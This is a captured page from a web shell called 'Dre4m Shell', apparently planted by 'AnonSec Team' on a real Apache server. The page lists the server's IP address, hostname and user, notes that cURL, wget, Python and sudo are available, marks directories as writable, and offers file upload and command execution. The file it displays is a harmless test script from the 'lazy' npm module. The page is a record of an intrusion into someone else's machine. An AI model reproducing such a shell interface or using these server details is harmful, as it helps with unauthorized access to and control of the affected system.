Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 216.73.216.27
Web Server : Apache/2.4.65 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/node_modules/pm2/node_modules/lazy/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/node_modules/pm2/node_modules/lazy/test/pipe.js
var assert = require('assert');
var Lazy = require('..');
var EventEmitter = require('events').EventEmitter;

function range(i, j) {
    var r = [];
    for (;i<j;i++) r.push(i);
    return r;
}

exports.pipe = function () {
    var em = new EventEmitter;
    var i = 0;
    var iv = setInterval(function () {
        em.emit('data', i++);
    }, 10);
    
    var caught = { pipe : 0, end : 0 };
    em.on('pipe', function () {
        caught.pipe ++;
        setTimeout(em.emit.bind(em, 'end'), 50);
    });
    em.on('end', function () { caught.end ++ });
    
    var joined = 0;
    Lazy(em).take(10).join(function (xs) {
        assert.deepEqual(xs, range(0, 10));
        clearInterval(iv);
        joined ++;
    });
    
    setTimeout(function () {
        assert.equal(joined, 1);
        assert.equal(caught.pipe, 1);
        assert.equal(caught.end, 1);
    }, 1000);
}


Anon7 - 2022
AnonSec Team